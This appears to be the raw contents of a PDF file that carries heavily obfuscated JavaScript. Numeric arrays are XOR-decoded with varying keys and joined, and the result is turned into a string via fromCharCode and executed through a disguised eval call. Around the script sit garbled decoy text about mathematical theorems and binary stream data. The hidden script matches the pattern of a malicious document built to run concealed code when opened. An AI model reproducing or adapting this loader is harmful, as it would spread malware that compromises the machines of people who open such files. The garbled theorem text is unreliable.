wVcGo1YiU2=[31,28,29,26,44,105,44,124,106,124,44,106,108,31,27,109,44,110,104,108,44,124,105,108,97,124,44,31,97,28,24,28,44,124,27,105,44,109,44,107,108,124,28,105,106,111,26,124,111,97,44,97,109,124,106,104,27,97,27,124,111,26,97,124,44,109,44,124,27,29,111,105,44,97,106,124,44,105,27,124,106,124,26,108,24,124,44,108,44,108,106,105,106,124,109,97,28,124,44,97,105,108,31,108,29,26,44,124,106,124,44,26,106,124,29,97,97,108,44,124,97,110,24,124,44,105,107,26,27,28,24,108,44,27,31,124,44,106,110,24,97,124,105,31,44,31,44,124,107,31,107,31,31,124,28,124,44,124,44,31,110,97,107,26,31,27,44,124,97,124,31,106,97,109,44,24,27,111,44,124,111,96,108,107,44,111,28,24,97,124,44,27,24,111,105,111,44,110,108,24,44,124,111,96,44,97,44,124,27,111,27,28,44,124,28,124,44,111,44,111,105,124,97,110,26,111,108,124,97,108,28,111,31,107,44,111,105,111,97,124,109,27,107,124,44,110,44,124,26,97,44,105,31,28,97,108,44,31,28,124,28,124,109,105,26,124,44,111,44,108,29,108,44,124,28,26,106,124,44,109,108,124,109,97,105,106,44,124,105,96,44,108,106,124,105,26,108,105,111,124,105,108,107,124,44,108,27,97,109,97,106,110,44,108,31,124,44,108,107,124,106,124,111,108,44,124,44,124,44,107,97,106,105,124,104,31,24,124,44,26,31,104,105,106,107,110,44,124,110,124,108,27,109,108,31,27,31,108]; MZepK871M4y8R4=[85,5,101,25,24,19,85,16,19,21,24,5,85,16,85,102,101,5,85,21,98,24,85,5,23,102,85,21,85,5,97,102,22,16,21,5,16,5,85,101,85,99,20,98,101,21,102,102,20,5,102,5,16,21,102,22,85,101,24,23,85,5,102,19,24,16,85,22,85,5,20,5,85,23,19,23,97,23,85,23,21,18,85,5,16,22,21,5,85,23,102,18,20,23,85,5,18,23,85,22,85,18,19,5,25,18,102,23,101,5,101,22,85,23,100,5,16,18,17,22,20,5,19,22,101,5,85,22,85,5,21,23,20,22,85,18,102,5,85,22,102,5,20,5,102,22,102,5,85,23,85,18,102,23,99,5,16,22,20,5,85,22,101,22,17,23,16,23,85,5,100,5,85,22,16,5,24,22,99,23,85,5,102,23,20,5,85,19,16,23,22,21,16,22,85,22,17,5,85,19,19,23,102,0,86,22,85,22,85,5,16,119,82,22,98,80,29,124,2,72,16,9,86,81,21,86,27,19,84,99,82,27,14,65,65,72,89,69,110,16,71,76,16,16,16,65,69,88,86,78,78,16,72,0,13,16,99,8,76,10,18,84,72,16,16,69,88,21,16,82,81,119,20,29,24,16,78,80,11,86,65,8,29,9,27,19,124,2,110,83,5,65,82,0,80,85,85,65,69,83,89,16,25,69,67,80,25,16,65,85,25,16,5,82,25,88,82,83,29,16,89,65,84,70,83,89,124,2,69,80,12,73,9,65,82,27,9,76,8,127,107,21,97,67,73,27,86,78,16,67,21,74,16,0,80,16,16,70]; C00gY9603L0T=[96,107,109,109,37,62,109,37,109,116,112,117,109,62,114,105,109,109,109,105,109,109,37,109,47,117,109,109,96,100,43,60,62,102,43,109,102,36,59,125,45,50,100,62,12,12,47,43,44,97,25,44,36,25,118,107,104,107,107,55,22,107,38,118,44,59,25,44,62,60,102,104,28,43,47,12,12,116,107,6,36,36,36,25,100,62,0,100,36,56,45,60,47,125,36,96,43,47,41,46,19,8,43,60,102,43,16,53,43,53,45,118,26,62,47,32,51,40,60,42,96,63,41,60,1,127,56,53,41,8,100,46,56,109,117,1,127,120,56,116,63,58,41,16,102,56,51,45,42,19,49,42,37,53,97,19,53,115,117,52,109,109,49,26,63,116,38,26,42,109,109,105,42,19,8,102,53,41,8,96,32,118,96,26,1,127,16,53,41,63,16,53,26,8,41,63,16,42,19,8,1,127,53,41,62,19,118,115,57,45,63,16,115,19,49,115,30,26,115,58,56,63,42,50,45,102,117,62,50,50,60,41,20,49,32,116,8,51,13,50,102,13,60,16,53,41,13,125,40,32,60,26,42,25,62,19,63,59,25,43,117,25,38,27,51,43,27,41,52,51,56,116,42,43,96,52,50,47,46,47,47,56,125,51,50,51,45,56,46,45,115,11,56,41,115,60,41,52,43,50,58,51,52,47,52,14,50,47,43,117,60,56,45,96,116,115,51,102,52,49,47,56,56,113,122,117,47,46,52,56,114,62,51,46,43,114,58,2,25,1,1,47,50,47,102,36,47,116,60,47,47,47,125,43,60,47,122,51]; xE289eJZV32gKwn=[122,117,104,114,59,98,122,108,38,122,116,105,51,90,126,50,116,109,111,114,126,117,104,51,53,105,115,122,55,120,53,120,116,109,43,90,115,51,105,90,126,122,126,105,105,50,111,117,104,120,116,117,114,114,55,109,42,125,50,122,53,68,104,114,122,51,105,90,115,105,117,104,109,32,41,50,105,122,111,51,51,122,114,70,98,38,43,116,35,64,105,114,122,50,38,42,122,117,104,122,61,105,70,38,64,61,116,104,51,51,50,103,105,109,38,43,105,105,68,122,103,109,42,105,122,98,117,68,109,105,61,64,105,98,105,105,104,122,114,116,98,114,122,70,122,41,68,61,70,117,38,38,42,39,64,111,105,111,50,96,125,50,40,122,116,114,110,105,51,119,125,51,68,109,117,32,122,107,114,114,122,114,50,122,68,98,116,117,104,51,102,39,105,105,68,122,103,105,116,50,70,103,35,43,51,98,61,61,105,109,38,35,64,43,122,114,122,104,109,122,42,105,70,117,104,116,105,38,64,70,122,105,117,41,117,68,114,68,114,122,122,64,105,122,50,105,61,61,39,50,98,64,105,116,105,104,39,122,109,70,98,41,41,122,116,68,119,51,126,119,102,114,50,118,121,117,96,105,51,109,122,120,68,122,116,114,125,32,119,43,122,98,122,51,105,105,104,114,122,39,64,43,122,105,70,114,34,50,70,38,64,117,104,116,51,109,38,122,103,103,116,34,114,122,61,104,109,98,122,61,105,105,68,105,105,119,96,70,98,64,117,122,105,122,116,68,42,51,120,42,119,126,50,116,121,68,117,50]; kUf3xaJ=[22,17,94,110,122,67,88,73,87,90,3,67,77,2,68,10,10,10,110,94,10,122,78,2,10,17,110,10,10,10,10,108,87,122,3,10,10,17,108,10,10,10,10,10,10,10,3,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,17,10,92,75,88,10,107,80,108,127,66,95,94,102,72,124,19,97,19,23,125,18,114,64,89,30,122,4,89,90,70,67,94,2,8,8,3,17,10,92,75,88,10,92,28,25,19,80,18,111,28,18,103,30,125,23,28,31,24,26,17,10,92,75,88,10,107,78,19,29,92,99,28,100,23,19,17,10,92,75,88,10,77,122,109,114,65,26,26,99,125,23,68,79,93,10,107,88,88,75,83,2,24,6,24,6,27,6,28,6,24,6,25,6,29,6,31,6,27,3,17,10,92,75,88,10,92,100,98,75,68,72,6,103,70,115,109,97,28,6,79,71,114,27,103,71,121,6,82,108,108,25,90,126,28,101,121,122,99,69,94,6,109,31,110,29,64,68,68,94,64,29,73,89,19,6,88,111,114,115,24,105,122,126,76,93,6,80,29,126,69,112,112,98,17,76,69,88,10,2,103,70,115,109,97,28,23,26,17,10,103,70,115,109,97,28,22,107,78,19,29,92,99,28,100,17,10,103,70,115,109,97,28,1,1,3,10,10,81,10,10,10,10,10,10,92,75,88,10,76,26,24,93,101,103,19,105,26,24,77,83,107,23,77,122,109,114]; ra5ma7KS0X4s52=[72,19,19,106,116,120,110,79,122,100,104,21,126,9,17,24,3,3,3,3,85,66,81,3,111,86,64,17,73,115,17,123,101,30,85,21,16,26,89,27,102,21,27,110,23,116,6,69,19,17,84,108,110,26,96,19,17,68,90,98,24,3,3,3,3,85,66,81,3,123,86,123,23,18,122,82,17,21,64,113,26,20,30,85,21,16,26,89,27,102,21,27,110,23,116,14,111,86,64,17,73,115,17,123,101,24,3,3,3,3,85,66,81,3,85,101,21,123,80,78,22,78,101,26,17,117,30,123,86,123,23,18,122,82,17,21,64,113,26,20,12,69,19,17,84,108,110,26,96,19,17,68,90,98,24,3,3,3,3,85,66,81,3,86,82,23,69,18,20,110,79,16,111,17,77,30,85,101,21,123,80,78,22,78,101,26,17,117,9,68,115,100,123,72,19,19,106,116,120,110,79,122,100,104,21,126,24,3,3,3,3,91,101,101,16,83,119,21,108,112,115,106,76,87,30,19,24,3,3,3,3,69,76,81,3,11,85,109,107,66,77,65,30,19,24,3,85,109,107,66,77,65,31,85,101,21,123,80,78,22,78,101,26,17,117,24,3,85,109,107,66,77,65,8,8,10,3,3,3,3,3,88,3,3,3,3,3,3,3,3,69,76,81,3,11,70,78,123,18,110,78,112,30,19,24,3,70,78,123,18,110,78,112,31,68,115,100,123,72,19,19,106,116,120,110,79,122,100,104,21,126,24,3,70,78,123,18,110,78,112,8,8,10,3,3,3,3,3,3,3,3,3,88,3,3,3,3,3]; G4L69pA8964=[118,17,99,18,97,60,56,56,34,60,97,53,37,111,107,46,16,16,101,38,2,96,25,5,6,31,57,34,125,51,59,14,103,27,59,5,109,118,118,118,118,118,118,118,118,118,118,118,118,44,97,2,57,12,12,30,107,23,44,16,3,62,35,34,26,52,0,111,29,111,13,17,99,18,97,60,56,56,34,60,97,53,37,111,11,109,118,118,118,118,118,118,118,118,118,118,118,118,36,19,14,15,100,21,6,2,48,33,107,17,99,18,97,60,56,56,34,60,97,53,37,111,125,49,6,17,14,61,102,102,31,1,13,27,58,15,17,29,96,11,109,118,118,118,118,118,118,118,118,118,118,118,118,23,44,16,3,62,35,34,26,52,0,111,29,111,13,17,99,18,97,60,56,56,34,60,97,53,37,111,11,107,23,44,16,3,62,35,34,26,52,0,111,29,111,13,36,19,14,15,100,21,6,2,48,33,11,109,118,118,118,118,118,118,118,118,118,118,118,118,23,44,16,3,62,35,34,26,52,0,111,29,111,13,36,19,14,15,100,21,6,2,48,33,11,107,44,97,2,57,12,12,30,109,118,118,118,118,118,118,118,118,118,118,43,118,118,118,118,118,118,118,118,46,16,16,101,38,2,96,25,5,6,31,57,34,118,125,107,48,102,100,33,25,27,111,21,102,100,49,47,23,109,118,118,118,118,118,118,118,118,118,43,118,118,43,118,118,1,110,14,60,37,98,6,107,23,44,16,3,62,35,34,26,52,0,111,29,111,120,60,57,63,56,126,116,116,127,109,51,32,55,58,126,1,110,14,60]; dp0Z5IuIt=[111,40,76,53,39]; kNwVRV6=[]; for (mo64b8=0;mo64b8<jlz814D.length;mo64b8++){jlz814D[mo64b8]=jlz814D[mo64b8]^10;}; kNwVRV6=kNwVRV6.concat(jlz814D);for (Lo0f49RsH=0;Lo0f49RsH<gx6HTe13h6.length;Lo0f49RsH++){gx6HTe13h6[Lo0f49RsH]=gx6HTe13h6[Lo0f49RsH]^16;}; kNwVRV6=kNwVRV6.concat(gx6HTe13h6);for (euw36=0;euw36<N300enGii5Cp.length;euw36++){N300enGii5Cp[euw36]=N300enGii5Cp[euw36]^25;}; kNwVRV6=kNwVRV6.concat(N300enGii5Cp);for (F0CAe85=0;F0CAe85<Y9N6Yft11dzDD.length;F0CAe85++){Y9N6Yft11dzDD[F0CAe85]=Y9N6Yft11dzDD[F0CAe85]^75;}; kNwVRV6=kNwVRV6.concat(Y9N6Yft11dzDD);for (t71oJ8L1=0;t71oJ8L1<EICrI90r6zPhqu.length;t71oJ8L1++){EICrI90r6zPhqu[t71oJ8L1]=EICrI90r6zPhqu[t71oJ8L1]^63;}; kNwVRV6=kNwVRV6.concat(EICrI90r6zPhqu);for (W43wLthh=0;W43wLthh<m9zh8Y1k.length;W43wLthh++){m9zh8Y1k[W43wLthh]=m9zh8Y1k[W43wLthh]^30;}; kNwVRV6=kNwVRV6.concat(m9zh8Y1k);for (ON8y=0;ON8y<Mo1G4q.length;ON8y++){Mo1G4q[ON8y]=Mo1G4q[ON8y]^16;}; kNwVRV6=kNwVRV6.concat(Mo1G4q);for (ZG77Ig=0;ZG77Ig<snKec.length;ZG77Ig++){snKec[ZG77Ig]=snKec[ZG77Ig]^13;}; kNwVRV6=kNwVRV6.concat(snKec);for (iMj09v91W=0;iMj09v91W<BmyGGc07F8e0aq.length;iMj09v91W++){BmyGGc07F8e0aq[iMj09v91W]=BmyGGc07F8e0aq[iMj09v91W]^41;}; kNwVRV6=kNwVRV6.concat(BmyGGc07F8e0aq);for (AV1Iy=0;AV1Iy<jh5D5uSa.length;AV1Iy++){jh5D5uSa[AV1Iy]=jh5D5uSa[AV1Iy]^44;}; kNwVRV6=kNwVRV6.concat(jh5D5uSa);for (R8V956=0;R8V956<k5lzZG60lsZXA.length;R8V956++){k5lzZG60lsZXA[R8V956]=k5lzZG60lsZXA[R8V956]^86;}; kNwVRV6=kNwVRV6.concat(k5lzZG60lsZXA);for (vzN2tmV=0;vzN2tmV<Zq1H0sq.length;vzN2tmV++){Zq1H0sq[vzN2tmV]=Zq1H0sq[vzN2tmV]^51;}; kNwVRV6=kNwVRV6.concat(Zq1H0sq);for (SCc4S8l=0;SCc4S8l<q9b62.length;SCc4S8l++){q9b62[SCc4S8l]=q9b62[SCc4S8l]^57;}; kNwVRV6=kNwVRV6.concat(q9b62);for (VLc71X=0;VLc71X<qdIJay8h0.length;VLc71X++){qdIJay8h0[VLc71X]=qdIJay8h0[VLc71X]^73;}; kNwVRV6=kNwVRV6.concat(qdIJay8h0);for (FjXgm3H7bo=0;FjXgm3H7bo<wVcGo1YiU2.length;FjXgm3H7bo++){wVcGo1YiU2[FjXgm3H7bo]=wVcGo1YiU2[FjXgm3H7bo]^89;}; kNwVRV6=kNwVRV6.concat(wVcGo1YiU2);for (enVhsuU=0;enVhsuU<MZepK871M4y8R4.length;enVhsuU++){MZepK871M4y8R4[enVhsuU]=MZepK871M4y8R4[enVhsuU]^32;}; kNwVRV6=kNwVRV6.concat(MZepK871M4y8R4);for (B0hE7OSy=0;B0hE7OSy<C00gY9603L0T.length;B0hE7OSy++){C00gY9603L0T[B0hE7OSy]=C00gY9603L0T[B0hE7OSy]^93;}; kNwVRV6=kNwVRV6.concat(C00gY9603L0T);for (F8jyP8U02c=0;F8jyP8U02c<xE289eJZV32gKwn.length;F8jyP8U02c++){xE289eJZV32gKwn[F8jyP8U02c]=xE289eJZV32gKwn[F8jyP8U02c]^27;}; kNwVRV6=kNwVRV6.concat(xE289eJZV32gKwn);for (q1kGml=0;q1kGml<kUf3xaJ.length;q1kGml++){kUf3xaJ[q1kGml]=kUf3xaJ[q1kGml]^42;}; kNwVRV6=kNwVRV6.concat(kUf3xaJ);for (x9p6q1=0;x9p6q1<ra5ma7KS0X4s52.length;x9p6q1++){ra5ma7KS0X4s52[x9p6q1]=ra5ma7KS0X4s52[x9p6q1]^35;}; kNwVRV6=kNwVRV6.concat(ra5ma7KS0X4s52);for (Hb4G2j9057=0;Hb4G2j9057<G4L69pA8964.length;Hb4G2j9057++){G4L69pA8964[Hb4G2j9057]=G4L69pA8964[Hb4G2j9057]^86;}; kNwVRV6=kNwVRV6.concat(G4L69pA8964);for (HT881KA=0;HT881KA<dp0Z5IuIt.length;HT881KA++){dp0Z5IuIt[HT881KA]=dp0Z5IuIt[HT881KA]^28;}; kNwVRV6=kNwVRV6.concat(dp0Z5IuIt); RuJ8okY6Y=function(Cl1KDYOXHj){ RXqxT9c7=["e","m","v","n","a","d","x","l"]; GOkMl=RXqxT9c7[0]+RXqxT9c7[2]+RXqxT9c7[4]+RXqxT9c7[7]; rorar=this; yEpiwgJ =rorar[GOkMl]; yEpiwgJ(Cl1KDYOXHj); } h6cSYK=function(nyomt9){ aBS8=""; Yyw28r8=["dd","fjdk","fro","mChar","Co","dk","eee","de"]; k65FvWr8e=Yyw28r8[2]+Yyw28r8[3]+Yyw28r8[4]+Yyw28r8[7]; for (ly9o=0;ly9o<nyomt9.length;ly9o++){ gogor=this; roter=gogor["St"+"ri"+"ng"]; aBS8 += roter[k65FvWr8e](nyomt9[ly9o]); } return aBS8; } RuJ8okY6Y(h6cSYK(kNwVRV6)); BT /F0 11 Tf 100 700 Td (Logically, many theorems are tms are l b rms aran indllytive condltional if A,re ln B. Such aeorems a does not stateeorat B ire lways true, onlyeorat B mustz ,Lih0yA,re ns Ine, yA,caseih0yA,Logiede tmshypo tmsyA,are tmsSuch aeoa dot stathypo tmsyA,hems yA,some, yng BT /F0gcmTf 100 700 Td ( B can also be denoted the antecedent and consequent. The theorem If n is an even natural number then n/2 is a natural number is a typical example in which the hypothesis is that n is an even natural number and the conclusion is that n/2 is also a natural number. In order to be proven, a theorem m BT /F0 11 Tf 100 700 Td (e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy flms akfouyzv) Tj ET ]� 0 l�Ε�� ښ� �2� �^ `� M5h��/�J��Cm�!��o 4�t 5 ��ը7AH� � �z3((��(��4T <tq� ��hj��k� 2IhȨ�s6� [A��V�� j� l��En�h�>�h��DGӸX� TT�B�l\|%g�'< � �7�Ҍ�� x��"e1��U3Neh�� Q� H8-(؋jt �N ��(JU�W�TCU� i�v ��Z� �` �K ��&D�x �F�ORt�" �q�� d M�b�Yu� hz�2�Z� M�ͣ�z�� a�= D� <�� o�~jle��$�ѹ� 7��jֳL� �� [��'�9 �IP:�!��w�h(# P%��cA��b �gh�� ԍ� ?p � ��pQ�SFcUW��u�2�� M�,+b�s � ��H�� J�-�m�BnI_�M�� "�T5R 4� [�� ``5�m< �1X% 7Ac� � �1?�(c��;o={��g�� c� :<ġ�(� �� {�椥!P A6��rD� ��2@�bݸ�p��x�� 1�X�+"��P.��.�#n �~�ܡ`G� �� уi?t<y �!5# ��' �#b�N��M� ��t�ؐ+�� 4� uu(s 6X �5 t!� ��]�� 1�(� b � rHWm�g g qT�cZf [�N_rܲ 3N�T>�z2�6�?@�^5�aT2 �Ҡ� ��J��"�� ']�� T�� :0 4�Ɛ �dc�t �K� �&.Pk�C�̣�&�A��z��"%(�� Q]�6 O HR%u z�� >��-�� X5 ?ʿ�� t y��?c ݶ� �ʸD~� �иTIL�uT�wX +��R<j�cۧ˩� �V �]� d! v5 �MA�Z��ҐO,X j��!�Z�Nf��A ��1 �j��ߊTFCf> �.��7��!�4>�� iR` ����"-E�i�� ? eGp�ȇthF��n%u� pƒ��H��Y9w�j��.��(=� @�L �y��# ��o�w Q�ϻ�d Z �I��N��S� � �� T�¡�1 �lɵ��n �E 6֖�� ʻ Z� �n� N3٢ �Ӱ�3��W0�j+� � �l � S�- �{� �I� �+ R��E��[0hcM �I�b6>\|7ߪ�E�!feõ�m�� _�O� Y��o��; �<� �#z� [0 rG u ( � ��O:��n�B ��h�m8� �x@� ]S,� ��F��G��h��Q ʁ5 u� yO�7V�a�P�a ]�I�خ �ES � G�KZ35OK o�CŪFv6 ��A¶i u��5c��C��V�? �,�n�� %0 ؋A68 ( ��>Y-�dL�� /�xbEnM�^BC� %� {�� < ��@�ڛ�]�� 2q+�� jUC�� 28��8v�ܰ#$��F#� �Ǎ> �=�* � �Ќ=a�� / �g�-�E �U ��Ԇ,AaI # M� <� �gA9k� �T� 賭�?T]t��Sz��%�SOhU�R�֘z閵�ʘ�� $���d�t�l$j W'�� T0&u0N錇FK�V1YӺ�&,�֤F��1s�꒠A^A` �� U�Y��0�;V�h W1 �ii.䖪 $�� `�� T�D�xӑ��N�Dʀ�"��< ��m�� ,�kY g�L�� !�R��Cj�� p֙�U��JS�q69=�gq��9��5 ��,� x:f��Vo0X AT�� Ja5Tc� X�d�D �ǔ� � %Ez�~�λ�~j��Tp� YW �&<U��LI� a y�Q �R�Y�V �q (��VZ�� qD ��Ev�r�� i�p��z<�习��U�>�[5 � \|͠1^��d�� !G��eaDZ� �x�[ ��XMI�BSA�PH٫r ��^�� _j� �Q�ˉ ��o�s#=�Yo_�a4 ��x+ 6\|n�q{c� m ��Ё��O<�� j��J�Ƴ�N ڔ�T�r� Q AϗT�d�(��>� �e ��7l�T�"�� @� >�@[��dc>��t��ə2��~+�6!�� F �� >��;6S�� ֦�-�f�5�v��[ �Y��aU��]s��4Q�#�ĺۑ,�I`��+ 'KB{�)�7 "� ��BUT��j�7%��@ �$^]��d ��^mdD��f�p@�oLu+ƲwHB;X� � �iK��I���<��#!Y�шy��g��y J�� U��bK�Qכwy� ՘V(�� ,��PV� ��͗fT �L<��JZ�+ ں�B��pT�,U�#��U!! �:��s ��/�S��/� ?�d�4j��\|�� ; <0� � � R\|a��Q�͔�V]� $�ˇ��{> 6;QO uev��[C ,L簢�U�ۄ�/�� k�$ �G� \|�ucy� έv� ��5m�85 � ͈�3�@�x� ��F��A�?� A� �n1LS V �� $~h�%�<��^�=��NS� � '��p��ެ��8�� άM\|�� .A �Mx � �'I�;t�úX� �-&;��q"�� ]�N>��PV��Ռa jX ^�jA_�E�A=��2߀O�$Lȁ#þj ~_`(' �� J��3C �NM��%A �gP�$ �ՓyK#&C�' N��kٟ X �ړ\|.+��U�ˁ�;��k ߒ�.��,U��S s�ا �� N � �� w?�8��D��m�a >�� 1��.�� 3�E�ʦ Ov a S֒oUe�W�0k�F� ��0�dC?cq,s��@i~:L��A您o}g � /I�l�¤�rh Z��"�� 9Z��+� <�-�> g�� Rd � ��TDR [� �� c8��i��ҿ� . c�rH�,/�" <4�� : x 9��9 =�P�-n��yqjf��Y�$��t��So�؊߅_��Dp�� { �l V�ڰ=�=� 6 K�,}��1g�� ת 4 � K �2� � ��a��l��ϙ#��c� �L�� @� ��Xa��_߫�}�>I��p<ՠ �z7��H�� ً� �o �O��ς� ^L��5�� \|�1rƗ/�5��`Œ��&��CN�� 8�e�P��W �OH�u��~y\|a�U�� Ά(/�� 3zu�o� �,�h�I�.�� M�Wh%��[��G��AX�.P�od�QȢ�� ۫o X%��d��,�5�l E�:�m ��rUo�� nK��O ~ ߮ ��X�xs ��?��㋛�Z��5ƞLO>~�� g �.� d��Xz� N�3V� �_�pӂt6H��{��dB��~ oLY�p��~��1f�� o uᾘn�\;�� 5��<��w nr�k ��o��w��ċ M� _l�r [�Br~ �n2� +� �7�[y��<If�� CF���c�� JB� � ��q�[�?h��ڕ]� >YH�i�� iލ�� 'A � �� g%�(= O"� n fk�8��%�$=�Λ� �� �ݖ$�ب03�4M � �z+��r �xn�� endstream endobj 11 0 obj << /Font 18 0 R /XObject 19 0 R >> endobj 12 0 obj << /Filter [/FlateDecode] /Length 20 0 R >> stream x�u��j ! �� g ��t�q�O뤽Lh�Ҋ��,{0��pb�l;�� ã �T` �( x ��ã �T` �( x mo64b8=0;mo64b8<jlz814D.length;mo64b8++ jlz814D Lo0f49RsH=0;Lo0f49RsH<gx6HTe13h6.length;Lo0f49RsH++ gx6HTe13h6 euw36=0;euw36<N300enGii5Cp.length;euw36++ N300enGii5Cp F0CAe85=0;F0CAe85<Y9N6Yft11dzDD.length;F0CAe85++ Y9N6Yft11dzDD t71oJ8L1=0;t71oJ8L1<EICrI90r6zPhqu.length;t71oJ8L1++ EICrI90r6zPhqu W43wLthh=0;W43wLthh<m9zh8Y1k.length;W43wLthh++ m9zh8Y1k ON8y=0;ON8y<Mo1G4q.length;ON8y++ Mo1G4q ZG77Ig=0;ZG77Ig<snKec.length;ZG77Ig++ snKec iMj09v91W=0;iMj09v91W<BmyGGc07F8e0aq.length;iMj09v91W++ BmyGGc07F8e0aq AV1Iy=0;AV1Iy<jh5D5uSa.length;AV1Iy++ jh5D5uSa R8V956=0;R8V956<k5lzZG60lsZXA.length;R8V956++ k5lzZG60lsZXA vzN2tmV=0;vzN2tmV<Zq1H0sq.length;vzN2tmV++ Zq1H0sq SCc4S8l=0;SCc4S8l<q9b62.length;SCc4S8l++ q9b62 VLc71X=0;VLc71X<qdIJay8h0.length;VLc71X++ qdIJay8h0 FjXgm3H7bo=0;FjXgm3H7bo<wVcGo1YiU2.length;FjXgm3H7bo++ wVcGo1YiU2 enVhsuU=0;enVhsuU<MZepK871M4y8R4.length;enVhsuU++ MZepK871M4y8R4 B0hE7OSy=0;B0hE7OSy<C00gY9603L0T.length;B0hE7OSy++ C00gY9603L0T F8jyP8U02c=0;F8jyP8U02c<xE289eJZV32gKwn.length;F8jyP8U02c++ xE289eJZV32gKwn q1kGml=0;q1kGml<kUf3xaJ.length;q1kGml++ kUf3xaJ x9p6q1=0;x9p6q1<ra5ma7KS0X4s52.length;x9p6q1++ ra5ma7KS0X4s52 Hb4G2j9057=0;Hb4G2j9057<G4L69pA8964.length;Hb4G2j9057++ G4L69pA8964 HT881KA=0;HT881KA<dp0Z5IuIt.length;HT881KA++ dp0Z5IuIt Cl1KDYOXHj Cl1KDYOXHj nyomt9 ly9o=0;ly9o<nyomt9.length;ly9o++ nyomt9[ly9o] h6cSYK(kNwVRV6 e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy flms akfouyzv jlz814D=[42,124,107,120,42,93,50,82,96,121,62,90,55,40,127,42,105,108,34,126,42,85,99,99,99,100,111,42,121,115,107,101,42,100,35,102,100,126,114,42,111,98,99,120,108,113,125,122,126,111,115,102,115,100,100,107,38,107,120,34,120,113,32,109,49,36,102,121,54,121,122,98,122,122,107,33,121,115,35,107,55,102,111,56,120,120,126,127,120,55,115,119,122,121,99,121,115,107,56,111,122,120,58,36,100,100,109,37,121,121,49,38,127,49,127,126,104,120,111,35,102,34,115,120,126,120,99,108,100,42,119,42,99,100,120,100,34,121,98,35,105,121,122,107,113,110,100,126,105,120,42,105,107,124,122,101,110,102,86,40,122,102,55,42,47,111,111,42,101,127,111,127,50,121,127,100,57,72,34,58,47,107,111,127,60,57,73,58,62,62,47,58,47,58,57,127,47,127,59,73,50,127,47,127,58,72,62,50,58,127,61,58,47,73,47,127,61,72,47,73,50,127,63,50,47,72,75,78,50,127,50,51,47,58,58,50,47,78,79,72,58,127,62,127,57,72,62,58,63,62,47,127,50,50,61,127,50,75,47,73,57,72,47,127,62,73,60,72,79,56,47,59,47,62,47,127,56,127,79,72,63,127,50,72,47,75,79,73,79,127,78,76,47,60,50,75,63,56,63,56,62,127,63,75,47,60,63,61,58,127,47,127,79,62,63,57,47,127,47,51,61,63,47,127,50,57,47,62,57,72,47,127,47,72,50,127,63,57,50,57,63,73,47,127,47,60,61,57,76,127,57,127,58,50,58,72,50,57]; gx6HTe13h6=[39,38,53,101,39,101,53,32,36,33,86,101,53,35,53,35,35,32,53,101,35,38,37,101,53,101,34,35,53,41,36,101,86,86,53,41,81,101,83,85,53,84,35,101,53,101,53,34,32,86,82,101,39,101,83,36,32,35,53,86,35,40,86,101,33,101,83,36,32,40,32,33,53,35,53,84,32,101,86,86,53,37,85,81,53,101,37,82,85,37,36,101,86,40,53,32,53,101,85,101,39,40,35,101,40,82,53,82,36,38,37,101,83,35,53,40,40,35,53,85,34,36,32,101,36,83,53,35,38,38,33,82,53,101,32,83,32,101,37,35,53,82,32,38,53,101,40,36,84,35,37,35,53,101,53,82,40,101,83,101,32,35,40,81,53,85,53,84,37,32,83,101,40,101,53,40,35,84,39,86,32,40,53,101,37,34,53,82,85,40,82,101,53,35,37,81,37,39,53,101,86,86,86,101,53,101,37,86,53,81,40,101,53,101,53,34,81,101,83,32,53,34,81,86,53,101,53,85,35,34,83,101,86,101,34,82,86,39,36,85,86,40,53,101,40,101,38,86,82,38,38,37,53,40,53,37,39,101,53,101,40,81,41,101,53,101,81,40,38,82,38,101,38,83,53,38,53,101,81,40,53,82,82,101,37,32,53,32,85,32,41,101,34,85,53,34,38,40,53,37,38,86,38,101,39,101,38,85,38,36,37,40,53,101,39,36,38,101,38,85,53,83,82,84,53,101,36,40,40,37,32,86,53,83,53,85,53,101,37,101,86,35,32,101,41,35,53,85,37,32,35,101,85,32,53,37,32,32]; N300enGii5Cp=[44,45,44,41,90,108,44,91,60,95,33,42,90,108,60,108,33,43,46,47,60,108,60,45,42,42,60,108,44,40,60,33,42,41,60,108,60,43,90,108,33,47,44,41,95,43,60,108,60,95,91,95,46,108,44,108,42,88,43,44,44,42,41,45,60,108,40,108,60,33,95,92,95,108,60,46,60,95,44,91,60,108,44,44,32,108,60,108,44,92,60,47,91,108,95,95,60,33,33,108,44,46,60,88,41,108,60,108,60,41,41,45,44,108,47,108,41,33,92,95,60,45,90,92,92,108,91,108,44,41,95,95,47,44,60,45,60,33,46,108,46,95,60,42,42,45,60,108,43,88,43,42,46,108,46,44,60,41,60,108,46,108,46,95,46,108,47,40,60,43,47,92,47,108,47,41,60,92,47,95,60,32,43,93,46,108,47,92,60,95,46,42,43,45,60,108,43,95,47,108,46,45,60,44,46,45,60,108,46,41,46,95,47,90,60,108,60,95,47,108,47,108,47,41,47,95,60,45,60,33,43,92,46,108,43,108,60,90,42,41,46,40,42,95,60,108,47,41,60,47,44,95,47,108,60,93,46,45,47,42,60,108,41,41,47,108,60,108,46,44,60,41,47,48,60,108,57,92,47,108,46,111,69,59,124,57,46,57,123,69,59,108,120,107,34,60,46,122,108,114,117,118,124,41,119,105,106,36,122,60,122,49,120,93,122,41,107,41,122,41,108,57,122,90,95,99,120,69,59,75,74,87,126,94,120,48,85,120,74,120,34,108,119,111,57,67,127,108,124,122,120,41,96,36,57,86,122,60]; 